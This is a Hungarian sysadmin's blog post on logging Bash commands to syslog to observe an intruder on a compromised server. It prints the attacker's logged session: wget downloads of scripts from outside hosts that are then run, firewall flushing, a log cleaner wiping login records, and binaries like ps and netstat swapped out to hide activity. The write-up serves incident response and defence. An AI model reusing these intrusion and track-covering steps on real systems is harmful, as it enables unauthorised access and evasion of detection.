bash naplózása és egy hacker megfigyelése

A történet ott kezdődött, hogy az egyik szerveren lévő shell user jelszava valamilyen oknál fogva illetetéktelenek kezébe került. Ráadásul ennek a felhasználónak az adott szerver sudo jogais volt. Egy magára valamit is adó szerverüzemeltető legelső dolga az azonnali adatmentés és a szerver újratelepítése, kizárva minden esélyt arra, hogy a hackerek backdoort hagyva maguk után bármikor visszajárjanak a gépre. A második dolog pedig a biztonsági szint növelése mind a felhasználók részéről, mind a szervert érintve.

Nos, én nem így cselekedtem, kiváncsi voltam, hogy mikor jön vissza, mit fog és mit akar csinálni. Mivel nem vagyok biorobot, így a nap 24 órájában sem volt lehetőségem a gép előtt ülni, bámulva az ssh konzolt és a logokat, hogy történik-e valami. Kellett egy olyan eszköz, ami naplózza a bash tevékenységeket. Létezik linux alatt a snoopy nevű program, ami telepítés után aktivizálja magát és minden fájlműveletet az auth.log-ba bele is paszíroz. Ember legyen a talpán, aki ezt képes végignézni, főleg úgy, hogy mindenféle monitorozó dolgok futnak, percenként így akár több ezer fileműveletről is beszélhetünk.

Hosszas keresgélés, nyomozgatás után találtam egy megoldást, aminek előfeltétele a Bash 4-es verziója.
Az /etc/profile fáljba a következőt kell beletenni:

function log2syslog
{
    declare command
    command=$(fc -ln -0)
    logger -p local1.notice -t bash -i - "$USER : $command"
}
trap log2syslog DEBUG

Ezzel minden egyes konzolban kiadott parancs naplózásra kerül a /var/log/auth.log fájlba, valahogy így:
Mar  1 23:29:53 testdev bash[23013]: - root :        ls -a

Így most már, ha nem is vagyok a gép előtt, látom, hogy milyen parancsokat adott ki kedves "barátunk".

Kb. fél nap várakozás után egyszer csak megjelent a logban a tevékenysége. Furcsa mód viszont kapcsolódásra, authentikálásra való nyomot nem találtam, így sürgősen ki kellett derítenem, hogy ezt hogy oldotta meg.

Meg is találtam a megoldást, nagyon szépen elrejtve mindenki szeme elől: a legelső alkalommal, ahogy azt sejteni lehetett egy saját ssh daemont indított el ugyanúgy a 22-es portra bindolva, az eredetit pedig kilőtte. Az aktív kapcsolatok ettől természetesen nem szakadnak meg, így fel se tűnik senkinek sem. Egy ps scriptel - amit az /usr/sbin könyvtárba másolt - pedig szépen elrejtette a szemem elől ezt a ssh-t úgy, hogy mintha az eredeti futna az /usr/sbin/ könyvtárban.

A másik gyanús jel a "w" parancs kiadása volt, mivel nem mutatott minden aktív kapcsolatot. Én kb 3 aktív kapcsolattal is rendelkeztem ssh-n keresztül, mégis csak egy loginolt usert adott vissza a parancs.

Most, hogy már felderítettem az álcáját, elkezdődött a megfigyelés:

Mar  1 23:29:52 testdev bash[23005]: - root :        cat .bash_history |grep ssh - Megnézte, hogy hova ssh-zgattam (azt persze nem tudta, hogy időközben minden más szerveren kulcs alapú authentikáció lett beállítva, valamint módosítva lett a default port 22-ről másra)
Mar  1 23:31:32 testdev bash[23383]: - root :        /sbin/ifconfig |grep inet
Mar  1 23:31:36 testdev bash[23406]: - root :        iptables -L
Mar  1 23:31:43 testdev bash[23429]: - root :        mkdir .gem - Ide fogja pakolni a kis dolgait. Egy átlag felhasználó itt sosem keresné
Mar  1 23:31:44 testdev bash[23433]: - root :        cd .gem
Mar  1 23:31:53 testdev bash[23462]: - root :        wget sxxxxx-uk.com/fw.stop - elkezdi szépen áttölteni a kis scriptjeit másik szerverről
Mar  1 23:31:54 testdev bash[23476]: - root :        chmod +x fw.stop
Mar  1 23:31:55 testdev bash[23498]: - root :        ./fw.stop - Elindítja (kitörli az összes tűzfalszabályt)
Mar  1 23:32:03 testdev bash[23543]: - root :        rm -rf fw* - Majd eltünteti a nyomokat
Mar  1 23:32:49 testdev bash[23645]: - root :        wget sxxxxx-uk.com/smart.tgz - Jöhet a többi cucc (szép kis script gyűjtemény)
Mar  1 23:35:39 testdev bash[24231]: - root :        wget dxxxxm.hu/clean - Húha, van még egy másik magyar áldozat is. Ez egy logcleaner, kitörli a lastlogból, wtmp-ből az adatokat (emiatt nem volt nyomva a kapcsolódásnak és hogy mikor honnan lépett be)
Mar  1 23:35:45 testdev bash[24260]: - root :        ./clean -u <username> -n 1
Mar  1 23:39:02 testdev bash[29893]: - root :        ./do gigi - Ezután elindult a meló, ami nem állt másból, minthogy a gépet használták fel arra, hogy más gépeket törjenek vele. Egy folyamatosan bővülő txt fileból olvasta be az IP-t, hostot, usert.
Mar  1 23:40:14 testdev bash[30227]: - root :        ssh xxxxxx@10.8.0.5 - Ha már bent volt, megpróbált VPN-n keresztűl máshova is belépni, ekkorra már sikertelenül
Mar  1 23:40:32 testdev bash[30276]: - root :        ssh xxxxxx@10.8.0.1
Mar  1 23:42:46 testdev bash[30675]: - root :        wget sxxxxx-uk.com/dream.tgz - Ez a script végezte a bing kereső segítségével az IP-hez tartozó hostok "kinyerését"
Mar  1 23:50:13 testdev bash[14115]: - root :        mv /bin/ps /bin/ps" " - Ideje lecserélni az eredeti ps-t
Mar  1 23:52:29 testdev bash[11428]: - root :        mv /bin/netstat /bin/netstat" " - Nehogy lássuk a nyitott portokat
Mar  1 23:54:09 testdev bash[20704]: - root :        mv /usr/bin/top /usr/bin/top" " - Az összes futó processzeket se jó látni

Ezután a scripteket szépen betették screenbe, hogy ott fussanak, majd kiléptek.

Ezután döntöttem úgy, hogy véget vetek a dolognak, kilőttem a futó processzeket, majd a szükséges csomagokat újratelepítettem, valamint beállítottam, hogy csak ssh kulccsal lehessen belépni. Minden fáljt szépen megőrizve/backupolva újratelepítettem a gépet.

Természetesen most már csak kizárólag ssh-kulcs alapú authentikációt elfogadva.

Kategória: